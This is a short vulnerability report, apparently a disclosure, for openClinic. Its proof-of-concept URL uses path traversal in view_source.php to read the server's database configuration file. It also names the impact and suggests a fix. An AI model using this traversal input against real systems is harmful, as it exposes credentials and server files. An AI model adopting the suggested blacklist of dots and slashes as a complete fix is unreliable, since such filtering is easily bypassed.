PoC : [http://localhost/openClinic/shared/view\\_source.php?file=../config/database\\_constants.php](http://localhost/openClinic/shared/view_source.php?file=../config/database_constants.php)  
Impact : Anyone login to the the admin account can read files from server like config and maybe can get RCE.  
Fix : remove the view\_source.php or you can blacklist the dot and slashes .
